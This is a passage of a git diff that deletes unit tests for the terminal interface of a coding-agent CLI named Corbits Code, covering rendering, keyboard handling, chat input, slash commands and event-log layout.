(chunk: Uint8Array | string, ..._rest: unknown[]): boolean => { - writes.push(typeof chunk === "string" ? chunk : Buffer.from(chunk).toString()); - return true; - }; - - process.once = (event: string, fn: (...args: unknown[]) => void): typeof process => { - onceListeners.push({ event, fn }); - return process; - }; - - process.removeListener = (event: string, fn: (...args: unknown[]) => void): typeof process => { - removedListeners.push({ event, fn }); - return process; - }; - }); - - afterEach(() => { - process.stdout.write = origWrite as typeof process.stdout.write; - process.once = origOnce as typeof process.once; - process.removeListener = origRemoveListener as typeof process.removeListener; - }); - - it("writes the enter sequence to stdout", () => { - enterAltScreen(); - expect(writes).toContain("\x1b[?1049h"); - }); - - it("registers an exit listener", () => { - enterAltScreen(); - expect(onceListeners.some((l) => l.event === "exit")).toBe(true); - }); - - it("cleanup writes the exit sequence to stdout", () => { - const cleanup = enterAltScreen(); - writes = []; - cleanup(); - expect(writes).toContain("\x1b[?1049l"); - }); - - it("cleanup removes the exit listener", () => { - const cleanup = enterAltScreen(); - const registered = onceListeners.find((l) => l.event === "exit"); - expect(registered).toBeDefined(); - cleanup(); - expect(removedListeners.some((l) => l.event === "exit" && l.fn === registered!.fn)).toBe(true); - }); -}); diff --git a/tests/unit/tui/app.test.tsx b/tests/unit/tui/app.test.tsx deleted file mode 100644 index f5e2b6161..000000000 --- a/tests/unit/tui/app.test.tsx +++ /dev/null @@ -1,382 +0,0 @@ -import { test, expect, mock } from "bun:test"; -import { render } from "ink-testing-library"; -import { App } from "../../../src/tui/app.js"; -import { EventEmitter } from "node:events"; -import { mkdtemp, rm, writeFile } from "node:fs/promises"; -import { tmpdir } from "node:os"; -import { join } from "node:path"; -import type { ReactorEmittedEvent } from "@intx/inference"; -import type { Agent } from "@intx/agent"; -import { loadSettings } from "../../../src/config/settings.js"; -import type { ProviderCatalogEntry } from "../../../src/config/index.js"; - -const mockAgent = { - send: mock(() => Promise.resolve({ reply: "ok", turn: {} as unknown as ReactorEmittedEvent["data"] })), - stream: mock(() => ({ [Symbol.asyncIterator]: () => ({ next: () => Promise.resolve({ done: true, value: undefined }) }) })), - close: mock(() => Promise.resolve()), - setSource: mock(() => undefined), - setSources: mock(() => undefined), -}; - -const testProvider: ProviderCatalogEntry = { - name: "test-provider", - baseURL: "https://test/v1", - apiKey: "test-key", - models: ["test-model"], -}; - -const tick = () => new Promise((resolve) => setTimeout(resolve, 20)); - -async function dismissStartupAnimation(stdin: { write: (input: string) => void }): Promise { - stdin.write(" "); - await tick(); -} - -type RenderAppOptions = { - stdout?: { columns: number; rows: number }; - initialTask?: string; - sessionTitle?: string; - initialModel?: string; - initialProvider?: string; - providers?: ProviderCatalogEntry[]; - globalSettingsPath?: string; - globalDefaultProvider?: string; - cwd?: string; - agent?: Agent; -}; - -function renderApp(emitter: EventEmitter, options?: RenderAppOptions) { - const { - stdout, - initialTask, - sessionTitle, - initialModel, - initialProvider, - providers, - globalSettingsPath, - globalDefaultProvider, - cwd, - agent, - } = options ?? {}; - return render( - , - { stdout: stdout ?? { columns: 80, rows: 24 } }, - ); -} - -async function renderAppReady(emitter: EventEmitter, options?: RenderAppOptions) { - const view = renderApp(emitter, options); - await dismissStartupAnimation(view.stdin); - return view; -} - -test("App renders header and status bar", async () => { - const emitter = new EventEmitter(); - const { lastFrame } = await renderAppReady(emitter); - expect(lastFrame()).toContain("Corbits Code"); - expect(lastFrame()).toContain("test-model"); -}); - -test("App status bar shows cost for a metered provider", async () => { - const emitter = new EventEmitter(); - const { lastFrame } = await renderAppReady(emitter); - const frame = lastFrame() ?? ""; - expect(frame).toContain("$"); - expect(frame).toContain("Ctx"); -}); - -test("App status bar hides cost for a coding-plan provider base URL", async () => { - const emitter = new EventEmitter(); - const { lastFrame } = await renderAppReady(emitter, { - providers: [{ ...testProvider, baseURL: "https://api.z.ai/api/coding/paas/v4" }], - }); - const frame = lastFrame() ?? ""; - expect(frame).not.toContain("$"); - expect(frame).toContain("Ctx"); -}); - -test("App status bar hides cost for a provider marked free", async () => { - const emitter = new EventEmitter(); - const { lastFrame } = await renderAppReady(emitter, { - providers: [{ ...testProvider, free: true }], - }); - const frame = lastFrame() ?? ""; - expect(frame).not.toContain("$"); - expect(frame).toContain("Ctx"); -}); - -test("App renders chat input", async () => { - const emitter = new EventEmitter(); - const { lastFrame } = await renderAppReady(emitter); - expect(lastFrame()).toContain("> "); -}); - -test("App renders events after they are emitted", async () => { - const emitter = new EventEmitter(); - const { lastFrame } = await renderAppReady(emitter, { stdout: { columns: 120, rows: 30 } }); - - const event: ReactorEmittedEvent = { - type: "inference.tool_call.start", - seq: 1, - data: { name: "read_file", callId: "c1" } as unknown as ReactorEmittedEvent["data"], - }; - - emitter.emit("event", event); - await new Promise((resolve) => setTimeout(resolve, 50)); - expect(lastFrame()).toContain("Read"); -}); - -test("App renders a submitted prompt once, not in both header and log", async () => { - const emitter = new EventEmitter(); - const { lastFrame } = await renderAppReady(emitter, { stdout: { columns: 120, rows: 30 } }); - - emitter.emit("event", { - type: "message.received", - seq: 1, - data: { message: { content: "hello world" } } as unknown as ReactorEmittedEvent["data"], - } satisfies ReactorEmittedEvent); - - await new Promise((resolve) => setTimeout(resolve, 50)); - const frame = lastFrame() ?? ""; - expect(frame.match(/hello world/g)?.length ?? 0).toBe(1); - expect(frame).not.toMatch(/> hello world/); -}); - -test("App hides the running status label in the status bar", async () => { - const emitter = new EventEmitter(); - const { lastFrame } = await renderAppReady(emitter); - expect(lastFrame()).not.toContain("Running"); -}); - -async function writeKeys(stdin: { write: (input: string) => void }, keys: readonly string[]): Promise { - for (const key of keys) { - stdin.write(key); - await tick(); - } -} - -test("CTRL+C with text in the prompt clears the input and does not open exit confirm", async () => { - const emitter = new EventEmitter(); - const { stdin, lastFrame } = await renderAppReady(emitter, { stdout: { columns: 120, rows: 30 } }); - stdin.write("hello"); - await tick(); - expect(lastFrame()).toContain("hello"); - stdin.write("\x03"); - await tick(); - const frame = lastFrame() ?? ""; - expect(frame).not.toContain("Exit Corbits Code?"); - expect(frame).not.toContain("hello"); -}); - -const settleRun = (emitter: EventEmitter) => - emitter.emit("event", { type: "reactor.done", seq: 1, data: {} } as ReactorEmittedEvent); - -test("CTRL+C while the agent is running stops the run instead of exiting", async () => { - const emitter = new EventEmitter(); - const hangingAgent = { - ...mockAgent, - send: mock(() => new Promise(() => undefined)), - } as unknown as Agent; - const { stdin, lastFrame } = await renderAppReady(emitter, { - stdout: { columns: 120, rows: 30 }, - initialTask: "go", - agent: hangingAgent, - }); - await tick(); - stdin.write("\x03"); - await tick(); - const frame = lastFrame() ?? ""; - expect(frame).not.toContain("Exit Corbits Code?"); - expect(frame).toContain("Corbits Code"); -}); - -test("a second CTRL+C after a stop escalates to the exit confirm", async () => { - const emitter = new EventEmitter(); - const hangingAgent = { - ...mockAgent, - send: mock(() => new Promise(() => undefined)), - } as unknown as Agent; - const { stdin, lastFrame } = await renderAppReady(emitter, { - stdout: { columns: 120, rows: 30 }, - initialTask: "go", - agent: hangingAgent, - }); - await tick(); - stdin.write("\x03"); - await tick(); - expect(lastFrame()).not.toContain("Exit Corbits Code?"); - stdin.write("\x03"); - await tick(); - expect(lastFrame()).toContain("Exit Corbits Code?"); -}); - -test("CTRL+C with an empty prompt opens the exit confirm overlay once idle", async () => { - const emitter = new EventEmitter(); - const { stdin, lastFrame } = await renderAppReady(emitter, { stdout: { columns: 120, rows: 30 } }); - settleRun(emitter); - await tick(); - stdin.write("\x03"); - await tick(); - expect(lastFrame()).toContain("Exit Corbits Code?"); -}); - -test("exit confirm cancels on N and closes the overlay", async () => { - const emitter = new EventEmitter(); - const { stdin, lastFrame } = await renderAppReady(emitter, { stdout: { columns: 120, rows: 30 } }); - settleRun(emitter); - await tick(); - stdin.write("\x03"); - await tick(); - expect(lastFrame()).toContain("Exit Corbits Code?"); - stdin.write("n"); - await tick(); - expect(lastFrame()).not.toContain("Exit Corbits Code?"); -}); - -test("ESC never opens the exit confirm overlay", async () => { - const emitter = new EventEmitter(); - const { stdin, lastFrame } = await renderAppReady(emitter, { stdout: { columns: 120, rows: 30 } }); - stdin.write("\x1B"); - await tick(); - expect(lastFrame()).not.toContain("Exit Corbits Code?"); -}); - -test("double ESC within the window clears the prompt", async () => { - const emitter = new EventEmitter(); - const { stdin, lastFrame } = await renderAppReady(emitter, { stdout: { columns: 120, rows: 30 } }); - stdin.write("draft text"); - await tick(); - expect(lastFrame()).toContain("draft text"); - stdin.write("\x1B"); - await tick(); - stdin.write("\x1B"); - await tick(); - expect(lastFrame()).not.toContain("draft text"); -}); - -test("App keeps header and footer visible after many events", async () => { - const emitter = new EventEmitter(); - const { lastFrame } = await renderAppReady(emitter, { - stdout: { columns: 100, rows: 12 }, - sessionTitle: "scroll test", - }); - - for (let i = 0; i < 25; i++) { - emitter.emit("event", { - type: "inference.tool_call.start", - seq: i + 1, - data: { name: `tool_${i}`, callId: `call_${i}` } as unknown as ReactorEmittedEvent["data"], - } satisfies ReactorEmittedEvent); - } - - await new Promise((resolve) => setTimeout(resolve, 10)); - expect(lastFrame()).toContain("Corbits Code"); - expect(lastFrame()).toContain("> "); - expect(lastFrame()).toContain("test-model"); -}); - -test("App does not scroll the event log with arrow keys (arrows belong to the prompt box)", async () => { - const emitter = new EventEmitter(); - const { lastFrame, stdin } = await renderAppReady(emitter, { stdout: { columns: 100, rows: 20 } }); - - for (let i = 0; i < 20; i++) { - emitter.emit("event", { - type: "message.received", - seq: i + 1, - data: { message: { content: `prompt-${i}` } } as unknown as ReactorEmittedEvent["data"], - } satisfies ReactorEmittedEvent); - } - await tick(); - expect(lastFrame()).toContain("prompt-19"); - - for (let i = 0; i < 60; i++) { - stdin.write("\x1B[A"); - await tick(); - } - // Arrow keys no longer scroll the log — pinned-to-bottom content stays visible. - expect(lastFrame()).toContain("prompt-19"); -}); - -test("/model editing a non-default provider preserves the global default", async () => { - const dir = await mkdtemp(join(tmpdir(), "ic-agent-settings-")); - try { - const emitter = new EventEmitter(); - const globalSettingsPath = join(dir, "settings.json"); - await writeFile( - globalSettingsPath, - JSON.stringify({ defaultProvider: "a", providers: {} }), - "utf8", - ); - const multiProviders = [ - { name: "a", baseURL: "https://a/v1", apiKey: "a-key", models: ["a-model"] }, - { name: "b", baseURL: "https://b/v1", apiKey: "b-key", models: ["b-model"] }, - ]; - const { stdin } = await renderAppReady(emitter, { - stdout: { columns: 120, rows: 30 }, - initialModel: "b-model", - initialProvider: "b", - providers: multiProviders, - globalSettingsPath, - globalDefaultProvider: "a", - cwd: dir, - }); - - settleRun(emitter); - await tick(); - await writeKeys(stdin, ["/model", "\r", "e", "\r", "\r", "\r", "\r", "\r"]); - await tick(); - - expect((await loadSettings(globalSettingsPath))?.defaultProvider).toBe("a"); - } finally { - await rm(dir, { recursive: true, force: true }); - } -}); - -test("/model deleting a non-default provider preserves the global default", async () => { - const dir = await mkdtemp(join(tmpdir(), "ic-agent-settings-")); - try { - const emitter = new EventEmitter(); - const globalSettingsPath = join(dir, "settings.json"); - await writeFile( - globalSettingsPath, - JSON.stringify({ defaultProvider: "a", providers: {} }), - "utf8", - ); - const multiProviders = [ - { name: "a", baseURL: "https://a/v1", apiKey: "a-key", models: ["a-model"] }, - { name: "b", baseURL: "https://b/v1", apiKey: "b-key", models: ["b-model"] }, - ]; - const { stdin } = await renderAppReady(emitter, { - stdout: { columns: 120, rows: 30 }, - initialModel: "b-model", - initialProvider: "b", - providers: multiProviders, - globalSettingsPath, - globalDefaultProvider: "a", - cwd: dir, - }); - - settleRun(emitter); - await tick(); - await writeKeys(stdin, ["/model", "\r", "x", "y"]); - await tick(); - - const settings = await loadSettings(globalSettingsPath); - expect(settings?.defaultProvider).toBe("a"); - expect(settings?.providers.b).toBeUndefined(); - } finally { - await rm(dir, { recursive: true, force: true }); - } -}); diff --git a/tests/unit/tui/at-suggestions.test.tsx b/tests/unit/tui/at-suggestions.test.tsx deleted file mode 100644 index 69b3ba357..000000000 --- a/tests/unit/tui/at-suggestions.test.tsx +++ /dev/null @@ -1,13 +0,0 @@ -import { expect, test } from "bun:test"; -import { render } from "ink-testing-library"; -import { AtSuggestions } from "../../../src/tui/components/at-mention/AtSuggestions.js"; - -test("AtSuggestions renders clean path labels without duplicating the typed @", () => { - const { lastFrame } = render(); - const frame = lastFrame() ?? ""; - - expect(frame).toContain("src/"); - expect(frame).toContain("../docs/"); - expect(frame).not.toContain("@src/"); - expect(frame).not.toContain("@../docs/"); -}); diff --git a/tests/unit/tui/chat-input.test.tsx b/tests/unit/tui/chat-input.test.tsx deleted file mode 100644 index 1b2d71756..000000000 --- a/tests/unit/tui/chat-input.test.tsx +++ /dev/null @@ -1,390 +0,0 @@ -import { test, expect } from "bun:test"; -import { render } from "ink-testing-library"; -import { useState } from "react"; -import { ChatInput } from "../../../src/tui/components/chat-input.js"; -// Side-effect import registers built-in slash commands so /help resolves in tests -import "../../../src/tui/commands/built-in.js"; - -const noopContext = { signalClear: () => {} }; - -test("ChatInput ignores keystrokes when inactive", async () => { - let submitted: string | null = null; - const { stdin } = render( - { submitted = m; }} - onCommand={() => {}} - commandContext={noopContext} - value="hello world" - onChange={() => {}} - active={false} - />, - ); - await Promise.resolve(); - stdin.write("\r"); - await Promise.resolve(); - expect(submitted).toBeNull(); -}); - -test("ChatInput renders prompt", () => { - const { lastFrame } = render( - {}} - onCommand={() => {}} - commandContext={noopContext} - value="" - onChange={() => {}} - />, - ); - expect(lastFrame()).toContain("> "); -}); - -test("ChatInput renders a multi-line value across lines with the caret on the last line", () => { - const { lastFrame } = render( - {}} - onCommand={() => {}} - commandContext={noopContext} - value={"first\nsecond"} - onChange={() => {}} - />, - ); - const frame = lastFrame() ?? ""; - expect(frame).toContain("> first"); - // The continuation line is present and the caret sits at the end of it. - expect(frame).toMatch(/second\s*▏/); -}); - -test("ChatInput does not exit the process on CTRL+C", async () => { - const originalExit = process.exit; - let exited = false; - // @ts-expect-error narrowing the override for the test - process.exit = (() => { exited = true; }) as typeof process.exit; - try { - const { stdin } = render( - {}} - onCommand={() => {}} - commandContext={noopContext} - value="hello" - onChange={() => {}} - />, - ); - stdin.write("\x03"); - await new Promise((resolve) => setTimeout(resolve, 20)); - expect(exited).toBe(false); - } finally { - process.exit = originalExit; - } -}); - -test("ChatInput renders its controlled value", () => { - const { lastFrame } = render( - {}} - onCommand={() => {}} - commandContext={noopContext} - value="hello" - onChange={() => {}} - />, - ); - expect(lastFrame()).toContain("hello"); -}); - -test("ChatInput shows the steer and queue hint while processing regardless of input state", () => { - const empty = render( - {}} - onCommand={() => {}} - commandContext={noopContext} - value="" - onChange={() => {}} - isProcessing={true} - queuedCount={1} - />, - ); - // The interrupt affordance must be discoverable immediately, before the - // user has typed anything. Enter/Alt+Enter are no-ops on an empty field, - // so the empty-field hint advertises the interrupt chord instead. - expect(empty.lastFrame()).toContain("1 queued · Esc Esc interrupt"); - expect(empty.lastFrame()).not.toContain("steer"); - - const idle = render( - {}} - onCommand={() => {}} - commandContext={noopContext} - value="" - onChange={() => {}} - isProcessing={false} - />, - ); - expect(idle.lastFrame()).not.toContain("steer"); - - const filled = render( - {}} - onCommand={() => {}} - commandContext={noopContext} - value="follow up" - onChange={() => {}} - isProcessing={true} - queuedCount={2} - />, - ); - const frame = filled.lastFrame() ?? ""; - expect(frame).toContain("2 queued · Enter steer · Alt+Enter queue"); - expect(frame.indexOf("2 queued")).toBeLessThan(frame.indexOf("> follow up")); -}); - -test("Up/Down arrows move cursor between lines of a multi-line prompt", async () => { - let current = ""; - let cursorPos = 0; - function Harness() { - const [v, setV] = useState("first\nsecond"); - current = v; - return ( - {}} - onCommand={() => {}} - commandContext={noopContext} - value={v} - onChange={(val) => { setV(val); current = val; }} - cwd="." - /> - ); - } - const { lastFrame, stdin } = render(); - await Promise.resolve(); - const initialFrame = lastFrame() ?? ""; - // Cursor starts at end of "second" (line 1) - expect(initialFrame).toContain("second"); - - // Up arrow should move cursor to "first" line — caret should appear there - stdin.write("\x1B[A"); - await Promise.resolve(); - await Promise.resolve(); - const afterUp = lastFrame() ?? ""; - expect(afterUp).toContain("first"); - // The caret glyph should be on the first line now - expect(afterUp).toMatch(/first.*▏/s); -}); - -test("Alt+Enter while processing queues without inserting escape bytes", async () => { - let current = "follow up"; - let submitted: string | null = null; - function Harness() { - const [v, setV] = useState(current); - current = v; - return ( - { submitted = message; }} - onCommand={() => {}} - commandContext={noopContext} - value={v} - onChange={(value) => { current = value; setV(value); }} - isProcessing={true} - /> - ); - } - const { stdin } = render(); - await Promise.resolve(); - stdin.write("\x1B\r"); - await Promise.resolve(); - await Promise.resolve(); - expect(submitted).toBe("follow up"); - expect(current).toBe(""); -}); - -test("Enter while processing calls onInterrupt (not onSubmit)", async () => { - let current = "steer now"; - let submitted: string | null = null; - let interrupted: string | null = null; - function Harness() { - const [v, setV] = useState(current); - current = v; - return ( - { submitted = message; }} - onCommand={() => {}} - onInterrupt={(message) => { interrupted = message; }} - commandContext={noopContext} - value={v} - onChange={(value) => { current = value; setV(value); }} - cwd="." - isProcessing={true} - /> - ); - } - const { stdin } = render(); - await Promise.resolve(); - stdin.write("\r"); - await Promise.resolve(); - await Promise.resolve(); - expect(interrupted).toBe("steer now"); - expect(submitted).toBeNull(); - expect(current).toBe(""); -}); - -test("cursor stays mid-string across successive edits", async () => { - let current = ""; - function Harness() { - const [v, setV] = useState(""); - current = v; - return ( - {}} - onCommand={() => {}} - commandContext={noopContext} - value={v} - onChange={setV} - /> - ); - } - const { stdin } = render(); - const press = async (s: string) => { stdin.write(s); await Promise.resolve(); await Promise.resolve(); }; - - await press("a"); - await press("b"); - await press("c"); - await press(""); - await press(""); - await press("X"); - await press("Y"); - expect(current).toBe("aXYbc"); -}); - -test("ChatInput caps the box at 40vh and scrolls internally", () => { - // rows=10 -> 40vh = 4 visible lines. Six lines exceed the cap. - const value = Array.from({ length: 6 }, (_, i) => `line${i}`).join("\n"); - const { lastFrame } = render( - {}} - onCommand={() => {}} - commandContext={noopContext} - value={value} - onChange={() => {}} - rows={10} - />, - ); - const frame = lastFrame() ?? ""; - // The first line is scrolled out of view; the cursor sits on the last line. - expect(frame).not.toContain("line0"); - expect(frame).toContain("line5"); - // An edge indicator marks that content exists above the window. - expect(frame).toContain("↑"); -}); - -test("ChatInput pre-wraps long lines to the inner box width (prefix + chrome)", () => { - // columns=40 -> content width 32; with "> " prefix the row fits the bordered box. - const chunk = "a".repeat(32); - const { lastFrame } = render( - {}} - onCommand={() => {}} - commandContext={noopContext} - value={chunk} - onChange={() => {}} - columns={40} - />, - ); - const frame = lastFrame() ?? ""; - const promptLines = frame.split("\n").filter((line) => line.includes("a") && !line.includes("Corbits Code")); - expect(promptLines.length).toBe(1); - expect(promptLines[0]).toContain(chunk); -}); - -test("ChatInput action bar shows the verb beside the steer hint and the model on the right", () => { - const { lastFrame } = render( - {}} - onCommand={() => {}} - commandContext={noopContext} - value="follow up" - onChange={() => {}} - isProcessing={true} - queuedCount={1} - verb="thinking" - model="gpt-5" - effort="high" - />, - ); - const frame = lastFrame() ?? ""; - // Verb prefixes the steer hint on the left; model · effort on the right, - // both above the prompt box on the same baseline. - expect(frame).toContain("thinking · 1 queued · Enter steer · Alt+Enter queue"); - expect(frame).toContain("gpt-5 · high"); - expect(frame.indexOf("thinking")).toBeLessThan(frame.indexOf("> follow up")); - expect(frame.indexOf("gpt-5 · high")).toBeLessThan(frame.indexOf("> follow up")); -}); - -test("ChatInput action bar shows profile before model and effort when profile is set", () => { - const { lastFrame } = render( - {}} - onCommand={() => {}} - commandContext={noopContext} - value="" - onChange={() => {}} - profile="work" - model="gpt-5" - effort="high" - />, - ); - const frame = lastFrame() ?? ""; - expect(frame).toContain("work · gpt-5 · high"); -}); - -test("ChatInput dispatches slash command via onCommand even while isProcessing (does not call onInterrupt or onSubmit)", async () => { - let commanded: { type: string; overlay?: string } | null = null; - let submitted: string | null = null; - let interrupted: string | null = null; - - const { stdin } = render( - { - submitted = m; - }} - onCommand={(r) => { - commanded = { type: r.type, overlay: r.type === "overlay" ? r.overlay : undefined }; - }} - onInterrupt={(m) => { - interrupted = m; - }} - commandContext={noopContext} - value="/help foo" - onChange={() => {}} - cwd="." - isProcessing={true} - />, - ); - await Promise.resolve(); - stdin.write("\r"); - await Promise.resolve(); - await Promise.resolve(); - expect(commanded).toEqual({ type: "overlay", overlay: "help" }); - expect(submitted).toBeNull(); - expect(interrupted).toBeNull(); -}); - -test("ChatInput dispatches non-overlay slash command while processing", async () => { - let commanded: { type: string; text?: string } | null = null; - const { stdin } = render( - {}} - onCommand={(r) => { - commanded = { type: r.type, text: r.type === "message" ? r.text : undefined }; - }} - onInterrupt={() => {}} - commandContext={noopContext} - value="/clear foo" - onChange={() => {}} - cwd="." - isProcessing={true} - />, - ); - await Promise.resolve(); - stdin.write("\r"); - await Promise.resolve(); - await Promise.resolve(); - expect(commanded).toEqual({ type: "message", text: "Started a fresh session." }); -}); diff --git a/tests/unit/tui/chrome-zone-budgets.test.tsx b/tests/unit/tui/chrome-zone-budgets.test.tsx deleted file mode 100644 index ffddebba4..000000000 --- a/tests/unit/tui/chrome-zone-budgets.test.tsx +++ /dev/null @@ -1,42 +0,0 @@ -import { test, expect } from "bun:test"; -import { render } from "ink-testing-library"; -import { Box } from "ink"; -import { CHROME_ZONE_ROWS } from "../../../src/tui/chrome-zones.js"; -import { InFlightIndicator } from "../../../src/tui/components/in-flight-indicator.js"; -import { StatusBar } from "../../../src/tui/components/status-bar.js"; - -// These tests derive the zone budgets from the components' painted output -// rather than restating the constants, so a markup change that adds or -// removes a row fails here instead of silently desyncing the layout math. - -function frameRows(frame: string | undefined): number { - return (frame ?? "").split("\n").length; -} - -test("progress budget matches the rows InFlightIndicator paints when shown", () => { - // Idle with nothing to show collapses entirely — no permanent spacer. - const idle = render(); - expect((idle.lastFrame() ?? "").trim()).toBe(""); - - const active = render(); - expect(frameRows(active.lastFrame())).toBe(CHROME_ZONE_ROWS.progress); - - const workflowOnly = render( - , - ); - expect(frameRows(workflowOnly.lastFrame())).toBe(CHROME_ZONE_ROWS.progress); -}); - -test("status budget matches the rows StatusBar paints inside App's marginTop wrapper", () => { - // App wraps StatusBar in ; mirror that wrapper here. - const { lastFrame } = render( - - - , - ); - expect(frameRows(lastFrame())).toBe(CHROME_ZONE_ROWS.status); -}); diff --git a/tests/unit/tui/chrome-zones.test.ts b/tests/unit/tui/chrome-zones.test.ts deleted file mode 100644 index 62b098a69..000000000 --- a/tests/unit/tui/chrome-zones.test.ts +++ /dev/null @@ -1,39 +0,0 @@ -import { test, expect } from "bun:test"; -import { - chromeDividerLine, - progressChromeRowCount, - shouldShowProgressRow, - sumChromeZoneRows, -} from "../../../src/tui/chrome-zones.js"; -import { CHROME_ROWS } from "../../../src/tui/hooks/use-layout-geometry.js"; - -// Per-zone budgets are checked against rendered component output in -// chrome-zone-budgets.test.tsx; this pin only guards the overall total. -// Progress is optional (via progressChromeRowCount) so idle sessions stay quiet. -test("sumChromeZoneRows totals always-present zone budgets", () => { - // header(2) + divider(1) + modelBar(1) + prompt(3) + status(2) = 9 - expect(sumChromeZoneRows()).toBe(9); -}); - -test("CHROME_ROWS is derived from chrome zone budgets", () => { - expect(CHROME_ROWS).toBe(sumChromeZoneRows()); -}); - -test("shouldShowProgressRow and progressChromeRowCount share one predicate", () => { - const cases = [ - { active: false, hasWorkflow: false }, - { active: true, hasWorkflow: false }, - { active: false, hasWorkflow: true }, - { active: true, hasWorkflow: true }, - ] as const; - for (const input of cases) { - const show = shouldShowProgressRow(input); - expect(progressChromeRowCount(input)).toBe(show ? 2 : 0); - } -}); - -test("chromeDividerLine spans the requested inner width", () => { - expect(chromeDividerLine(40).length).toBe(40); - expect(chromeDividerLine(2).length).toBe(8); - expect(chromeDividerLine(40)).toMatch(/^─+$/); -}); diff --git a/tests/unit/tui/event-log.test.tsx b/tests/unit/tui/event-log.test.tsx deleted file mode 100644 index dd9f7996e..000000000 --- a/tests/unit/tui/event-log.test.tsx +++ /dev/null @@ -1,516 +0,0 @@ -import { expect, test } from "bun:test"; -import { render } from "ink-testing-library"; -import { - EventLog, - buildLines, - buildLinesIncremental, - lineWindow, - maxLineOffset, - renderableBlocks, - type IncrementalLinesState, -} from "../../../src/tui/components/event-log.js"; -import type { RenderableBlock } from "../../../src/tui/components/event-log.js"; -import type { ContentBlock, ContentBlockData } from "../../../src/tui/use-stream.js"; -import { wrapCount, wrapLines } from "../../../src/tui/view/height.js"; - -let blockSeq = 0; -function block(data: ContentBlockData): RenderableBlock { - const base: ContentBlockData = - data.type === "tool_call" - ? { ...data, callId: data.callId ?? "call-fixture", startedAt: data.startedAt ?? 0 } - : data.type === "tool_result" - ? { ...data, finishedAt: data.finishedAt ?? 1_000 } - : data; - return { ...base, id: `wb${(blockSeq += 1)}` } as RenderableBlock; -} - -const lineText = (line: { text: string }[]): string => line.map((s) => s.text).join(""); - -type Overrides = { - scrollOffset?: number; - visibleRows?: number; - columns?: number; - thinkingExpanded?: boolean; - expandedTools?: ReadonlySet; - verbose?: boolean; -}; - -function renderLog(blocks: ContentBlockData[], overrides: Overrides = {}) { - const withIds = blocks.map((b, i) => { - const data: ContentBlockData = - b.type === "tool_call" - ? { ...b, callId: b.callId ?? "call-fixture", startedAt: b.startedAt ?? 0 } - : b.type === "tool_result" - ? { ...b, finishedAt: b.finishedAt ?? 1_000 } - : b; - // Preserve caller-supplied ids so expandedTools lookups match the fixtures. - const id = typeof (b as { id?: unknown }).id === "string" ? (b as { id: string }).id : `fixture-${i}`; - return { ...data, id } as ContentBlock; - }); - const columns = overrides.columns ?? 200; - const expandedTools = overrides.expandedTools ?? new Set(); - const verbose = overrides.verbose ?? false; - const lines = buildLines( - renderableBlocks(withIds), - columns, - overrides.thinkingExpanded ?? false, - (b) => verbose || expandedTools.has(b.id), - ); - return render( - , - { stdout: { columns: columns + 20, rows: 200 } as unknown as NodeJS.WriteStream }, - ); -} - -test("EventLog renders nothing when there are no blocks", () => { - const { lastFrame } = renderLog([]); - expect(lastFrame() ?? "").not.toContain("Waiting for events"); -}); - -test("EventLog pins short output to the bottom of the viewport", () => { - const { lastFrame } = renderLog([block({ type: "text", content: "only line" })], { - columns: 40, - visibleRows: 5, - }); - const rows = (lastFrame() ?? "").split("\n"); - const contentIdx = rows.findIndex((r) => r.includes("only line")); - expect(contentIdx).toBeGreaterThanOrEqual(0); - expect(contentIdx).toBe(rows.length - 1); -}); - -test("EventLog renders user message", () => { - const { lastFrame } = renderLog([{ type: "user", content: "hello world" }]); - expect(lastFrame()).toContain("hello world"); -}); - -test("EventLog renders text block", () => { - const { lastFrame } = renderLog([{ type: "text", content: "Hello!" }]); - expect(lastFrame()).toContain("Hello!"); -}); - -test("EventLog renders error block in danger color", () => { - const { lastFrame } = renderLog([{ type: "error", message: "fatal: oops" }]); - expect(lastFrame()).toContain("fatal: oops"); -}); - -test("EventLog renders tool call with a humanized name and readable arg summary", () => { - const { lastFrame } = renderLog([ - { - type: "tool_call", - callId: "c1", - name: "read_file", - arguments: '{"path":"/tmp/example"}', - startedAt: 0, - }, - ]); - const frame = lastFrame() ?? ""; - expect(frame).toContain("Read"); - expect(frame).not.toContain("read_file"); - expect(frame).toContain("/tmp/example"); -}); - -test("EventLog wraps a long line with inline bold instead of overflowing", () => { - const content = "Before your last message you asked about **Acme Interchange** which is the platform we build the agentic business runtime around the world today."; - const { lastFrame } = renderLog([{ type: "text", content }], { columns: 80 }); - const frame = lastFrame() ?? ""; - const rows = frame.split("\n").filter((r) => r.trim().length > 0); - // The line is longer than the pane, so it flows across more than one row - // rather than overflowing on a single row or exploding word-by-word. - expect(rows.length).toBeGreaterThan(1); - expect(rows.length).toBeLessThan(8); - // The bolded words and the trailing word all survive the wrap. - expect(frame).toContain("Acme"); - expect(frame).toContain("today"); -}); - -test("EventLog paints a pending tool call with a static indicator and elapsed clock", () => { - const { lastFrame } = renderLog( - [{ type: "tool_call", callId: "run-1", name: "read_file", arguments: '{"path":"/tmp/foo"}', startedAt: Date.now() - 3_000 }], - { columns: 60 }, - ); - const frame = lastFrame() ?? ""; - expect(frame).toContain("Read"); - // A running row shows the elapsed clock; three seconds have passed since start. - expect(frame).toContain("3s"); - // The pending marker is a fixed glyph, not an animated braille spinner — the - // session's one live spinner belongs to the bottom status row only. - expect(frame).toContain("○"); - expect(/[⠋⠙⠹⠸⠼⠴⠦⠧⠇⠏]/.test(frame)).toBe(false); -}); - -test("EventLog and the in-flight status row never both show a braille spinner", () => { - // The pending transcript row uses a static glyph; only InFlightIndicator (the - // bottom status row, rendered separately in app.tsx) owns the animated - // braille cycle. This guards against a second live spinner creeping back - // into the transcript. - const { lastFrame } = renderLog( - [{ type: "tool_call", callId: "run-2", name: "run_shell", arguments: '{"command":"echo hi"}', startedAt: Date.now() }], - { columns: 60 }, - ); - const frame = lastFrame() ?? ""; - expect(/[⠋⠙⠹⠸⠼⠴⠦⠧⠇⠏]/.test(frame)).toBe(false); -}); - -test("EventLog shows a completed tool call's duration and no spinner", () => { - const { lastFrame } = renderLog([ - { type: "tool_call", callId: "done-1", name: "read_file", arguments: '{"path":"/tmp/foo"}', startedAt: 0 }, - { type: "tool_result", callId: "done-1", name: "read_file", content: "x", isError: false, finishedAt: 2_500 }, - ]); - const frame = lastFrame() ?? ""; - expect(frame).toContain("· 2.5s"); - expect(/[⠋⠙⠹⠸⠼⠴⠦⠧⠇⠏]/.test(frame)).toBe(false); -}); - -test("EventLog stops spinning a tool once an aborted result finalizes it", () => { - // When a turn is aborted mid-tool, use-stream synthesizes an error tool_result - // for the outstanding call. That resolves the pending state, so the row must - // render as a completed (error) tool with no braille spinner or live clock. - const { lastFrame } = renderLog([ - { type: 